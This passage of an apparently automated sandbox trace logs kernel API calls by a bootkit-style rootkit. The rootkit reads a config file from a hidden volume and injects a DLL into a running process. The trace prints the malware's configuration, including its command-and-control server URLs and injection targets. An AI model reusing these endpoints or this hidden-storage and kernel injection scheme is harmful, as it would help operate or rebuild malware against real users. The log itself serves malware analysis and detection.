Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x90000) returned 0x0 [0080.734] _snprintf (in: _Dest=0xfffff88002f9d450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0080.735] KeEnterCriticalRegion () [0080.735] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0080.735] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80034e8010, Context=0x0) returned 0x0 [0080.735] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0080.735] KeLeaveCriticalRegion () [0080.735] ZwQueryInformationFile (in: FileHandle=0xffffffff800003f4, IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0) returned 0x0 [0080.735] _snprintf (in: _Dest=0xfffff88002f9d250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0080.735] KeEnterCriticalRegion () [0080.735] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0080.735] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0080.735] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003670280 [0080.735] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003670280, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003670280) [0080.735] KeInitializeEvent (in: Event=0xfffff88002f9d0e0, Type=0x0, State=0 | out: Event=0xfffff88002f9d0e0) [0080.735] IdePortDispatch () returned 0x103 [0080.735] KeWaitForMutexObject () returned 0x0 [0080.735] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0080.735] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0080.735] KeLeaveCriticalRegion () [0080.735] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0080.735] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x197) returned 0xfffff8a000bd20e0 [0080.735] _snprintf (in: _Dest=0xfffff88002f9d9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0080.735] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0080.735] _snprintf (in: _Dest=0xfffff88002f9d8c0, _Count=0x104, _Format="%s=" | out: _Dest="svchost.exe (x64)=") returned 18 [0080.735] _strlwr (in: _Str="svchost.exe (x64)=" | out: _Str="svchost.exe (x64)=") returned="svchost.exe (x64)=" [0080.735] ZwReadFile (in: FileHandle=0xffffffff800003f4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a000bd20e0, BufferLength=0x196, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a000bd20e0*) returned 0x0 [0080.735] _snprintf (in: _Dest=0xfffff88002f9d230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0080.735] KeEnterCriticalRegion () [0080.735] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0080.735] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003670280, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c730e0 [0080.735] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0080.735] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa80036705e0 [0080.735] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80036705e0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80036705e0) [0080.735] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0080.735] IdePortDispatch () returned 0x103 [0080.735] KeWaitForMutexObject () returned 0x0 [0080.736] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0080.736] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0080.736] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa80036705e0 [0080.736] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80036705e0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80036705e0) [0080.736] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0080.736] IdePortDispatch () returned 0x103 [0080.736] KeWaitForMutexObject () returned 0x0 [0080.736] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0080.736] KeLeaveCriticalRegion () [0080.736] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0080.736] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\n" [0080.736] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="svchost.exe (x64)=") returned 0x0 [0080.736] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888, FreeType=0x8000) returned 0x0 [0080.736] ExFreePoolWithTag (P=0xfffff8a000bd20e0, Tag=0x0) [0080.736] ZwClose (Handle=0xffffffff800003f4) returned 0x0 [0080.736] _snprintf (in: _Dest=0xfffff88002f9d310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0080.736] KeEnterCriticalRegion () [0080.736] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0080.736] IoGetRequestorProcess (Irp=0xfffffa80034e8010) returned 0xfffffa80018ab040 [0080.736] FsRtlFastUnlockAll (FileLock=0xfffffa80027daff0, FileObject=0xfffffa800cbf0a90, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0080.736] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0080.736] KeLeaveCriticalRegion () [0080.736] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0080.736] _snprintf (in: _Dest=0xfffff88002f9d330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0080.736] KeEnterCriticalRegion () [0080.736] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0080.736] ExFreePoolWithTag (P=0xfffffa80034ea110, Tag=0x0) [0080.736] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0080.736] KeLeaveCriticalRegion () [0080.736] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0080.736] ZwClose (Handle=0xffffffff800003f0) returned 0x0 [0080.736] KeSetEvent (in: Event=0xfffffa800cbf0bc0, Increment=0x0, Wait=0 | out: Event=0xfffffa800cbf0bc0) returned 0 [0081.540] ZwOpenProcess (in: ProcessHandle=0xfffff88002f9db70, DesiredAccess=0x1fffff, ObjectAttributes=0xfffff88002f9db30*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x200, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff88002f9db20*(UniqueProcess=0x374, UniqueThread=0x0) | out: ProcessHandle=0xfffff88002f9db70*=0xffffffff8000040c) returned 0x0 [0081.540] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9d7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0081.540] ZwCreateFile (in: FileHandle=0xfffff88002f9db18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f9d7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f9d7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f9db18*=0xffffffff80000404, IoStatusBlock=0xfffff88002f9d7a0) returned 0x0 [0081.540] _snprintf (in: _Dest=0xfffff88002f9cf10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.540] KeEnterCriticalRegion () [0081.540] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.540] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.540] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.540] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.541] KeInitializeEvent (in: Event=0xfffff88002f9cd80, Type=0x0, State=0 | out: Event=0xfffff88002f9cd80) [0081.541] IdePortDispatch () returned 0x103 [0081.541] KeWaitForMutexObject () returned 0x0 [0081.541] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0081.541] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0081.541] strncpy (in: _Dest=0xfffffa80027dafe0, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0081.541] FsRtlInitializeFileLock (FileLock=0xfffffa80027daff0, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0081.541] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003690100 [0081.541] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.541] KeLeaveCriticalRegion () [0081.541] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.541] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880, ZeroBits=0x0, RegionSize=0xfffff88002f9d888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888*=0x1000) returned 0x0 [0081.541] NtLockFile (in: FileHandle=0xffffffff80000404, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x90000, ByteOffset=0x90010, Length=0x90018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x90000) returned 0x0 [0081.541] _snprintf (in: _Dest=0xfffff88002f9d450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.541] KeEnterCriticalRegion () [0081.541] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.541] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80034e8010, Context=0x0) returned 0x0 [0081.541] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.541] KeLeaveCriticalRegion () [0081.541] ZwQueryInformationFile (in: FileHandle=0xffffffff80000404, IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0) returned 0x0 [0081.541] _snprintf (in: _Dest=0xfffff88002f9d250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.541] KeEnterCriticalRegion () [0081.541] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.541] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.541] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.541] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.541] KeInitializeEvent (in: Event=0xfffff88002f9d0e0, Type=0x0, State=0 | out: Event=0xfffff88002f9d0e0) [0081.541] IdePortDispatch () returned 0x103 [0081.541] KeWaitForMutexObject () returned 0x0 [0081.542] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0081.542] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.542] KeLeaveCriticalRegion () [0081.542] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.542] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x197) returned 0xfffff8a0065f8010 [0081.542] _snprintf (in: _Dest=0xfffff88002f9d9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0081.542] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0081.542] _snprintf (in: _Dest=0xfffff88002f9d8c0, _Count=0x104, _Format="%s=" | out: _Dest="* (x64)=") returned 8 [0081.542] _strlwr (in: _Str="* (x64)=" | out: _Str="* (x64)=") returned="* (x64)=" [0081.542] ZwReadFile (in: FileHandle=0xffffffff80000404, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a0065f8010, BufferLength=0x196, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a0065f8010*) returned 0x0 [0081.542] _snprintf (in: _Dest=0xfffff88002f9d230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.542] KeEnterCriticalRegion () [0081.542] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.542] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800349b010 [0081.542] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.542] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003648530 [0081.542] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0081.542] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0081.542] IdePortDispatch () returned 0x103 [0081.542] KeWaitForMutexObject () returned 0x0 [0081.542] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0081.542] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.542] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003648530 [0081.542] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0081.542] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0081.542] IdePortDispatch () returned 0x103 [0081.542] KeWaitForMutexObject () returned 0x0 [0081.542] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.542] KeLeaveCriticalRegion () [0081.543] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.543] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\n" [0081.543] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="* (x64)=") returned="* (x64)=cmd64.dll\r\n" [0081.543] strncpy (in: _Dest=0xfffffa80034fc7e4, _Source="cmd64.dll", _Count=0x104 | out: _Dest="cmd64.dll") returned="cmd64.dll" [0081.543] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888, FreeType=0x8000) returned 0x0 [0081.543] ExFreePoolWithTag (P=0xfffff8a0065f8010, Tag=0x0) [0081.543] ZwClose (Handle=0xffffffff80000404) returned 0x0 [0081.543] _snprintf (in: _Dest=0xfffff88002f9d310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.543] KeEnterCriticalRegion () [0081.543] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.543] IoGetRequestorProcess (Irp=0xfffffa80034e8010) returned 0xfffffa80018ab040 [0081.543] FsRtlFastUnlockAll (FileLock=0xfffffa80027daff0, FileObject=0xfffffa80036901a0, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0081.543] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.543] KeLeaveCriticalRegion () [0081.543] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.543] _snprintf (in: _Dest=0xfffff88002f9d330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.543] KeEnterCriticalRegion () [0081.543] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.543] ExFreePoolWithTag (P=0xfffffa8003690100, Tag=0x0) [0081.543] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.543] KeLeaveCriticalRegion () [0081.543] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.543] KeStackAttachProcess (in: PROCESS=0xfffffa80034fca60, ApcState=0xfffff88002f9da58 | out: PROCESS=0xfffffa80034fca60, ApcState=0xfffff88002f9da58) [0081.543] _snwprintf (in: _Dest=0xfffffa80034fc5dc, _Count=0x103, _Format="%s\\%S" | out: _Dest="\\device\\000001a9\\0d24eb7c\\cmd64.dll") returned 35 [0081.543] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9da38, SourceString="\\device\\000001a9\\0d24eb7c\\cmd64.dll" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cmd64.dll") [0081.543] ZwOpenFile (in: FileHandle=0xfffff88002f9d9e8, DesiredAccess=0x100001, ObjectAttributes=0xfffff88002f9da08*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cmd64.dll" (normalized: "\\device\\000001a9\\0d24eb7c\\cmd64.dll"), Attributes=0x240, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f9da48, ShareAccess=0x1, OpenOptions=0x20 | out: FileHandle=0xfffff88002f9d9e8*=0xffffffff80000404, IoStatusBlock=0xfffff88002f9da48) returned 0x0 [0081.543] _snprintf (in: _Dest=0xfffff88002f9d150, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0081.543] KeEnterCriticalRegion () [0081.543] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.543] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.543] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.543] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.543] KeInitializeEvent (in: Event=0xfffff88002f9cfc0, Type=0x0, State=0 | out: Event=0xfffff88002f9cfc0) [0081.543] IdePortDispatch () returned 0x103 [0081.543] KeWaitForMutexObject () returned 0x0 [0081.544] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0081.544] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0081.544] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0081.544] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0081.544] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0081.544] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0081.544] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0081.544] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0081.544] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0081.544] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0081.544] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80028a3e90 [0081.544] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.544] KeLeaveCriticalRegion () [0081.544] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.544] ZwCreateSection (in: SectionHandle=0xfffff88002f9d9e0, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x0, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0xffffffff80000404 | out: SectionHandle=0xfffff88002f9d9e0*=0x14) returned 0x0 [0081.544] _snprintf (in: _Dest=0xfffff88002f9d260, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0081.544] KeEnterCriticalRegion () [0081.544] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.544] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.544] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.544] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.544] KeInitializeEvent (in: Event=0xfffff88002f9d0f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d0f0) [0081.544] IdePortDispatch () returned 0x103 [0081.544] KeWaitForMutexObject () returned 0x0 [0081.544] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0081.544] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0081.544] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0081.544] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0081.544] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0081.544] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0081.544] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0081.544] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0081.544] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0081.544] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.544] KeLeaveCriticalRegion () [0081.544] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.544] ZwMapViewOfSection (in: SectionHandle=0x14, ProcessHandle=0xffffffff8000040c, BaseAddress=0xfffff88002f9d9d0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0xfffff88002f9da00, InheritDisposition=0xfffff88000000002, AllocationType=0x100000, AccessProtection=0x2 | out: BaseAddress=0xfffff88002f9d9d0*=0x7fffffa0000, SectionOffset=0x0, ViewSize=0xfffff88002f9da00*=0x6000) returned 0x0 [0081.544] RtlImageNtHeader (BaseAddress=0x7fffffa0000) returned 0x7fffffa0040 [0081.544] _snprintf (in: _Dest=0xfffff88002f9d390, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0081.544] KeEnterCriticalRegion () [0081.544] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.544] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800349c000 [0081.545] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.545] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.545] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.545] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.545] IdePortDispatch () returned 0x103 [0081.545] KeWaitForMutexObject () returned 0x0 [0081.545] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0081.545] _strnicmp (_Str1="mbr", 